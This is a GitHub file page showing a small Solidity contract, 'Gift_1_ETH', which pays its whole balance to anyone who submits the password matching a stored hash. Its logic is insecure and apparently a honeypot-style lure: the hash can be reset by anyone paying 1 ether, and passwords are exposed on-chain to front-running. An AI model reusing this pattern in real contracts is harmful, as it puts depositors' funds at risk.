Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
41 lines (34 sloc) 733 Bytes
pragma solidity ^0.4.19;
contract Gift_1_ETH
{
bool passHasBeenSet = false;
function()payable{}
function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
bytes32 public hashPass;
function SetPass(bytes32 hash)
public
payable
{
if(!passHasBeenSet&&(msg.value >= 1 ether))
{
hashPass = hash;
}
}
function GetGift(bytes pass)
external
payable
{
if(hashPass == sha3(pass))
{
msg.sender.transfer(this.balance);
}
}
function PassHasBeenSet(bytes32 hash)
public
{
if(hash==hashPass)
{
passHasBeenSet=true;
}
}
}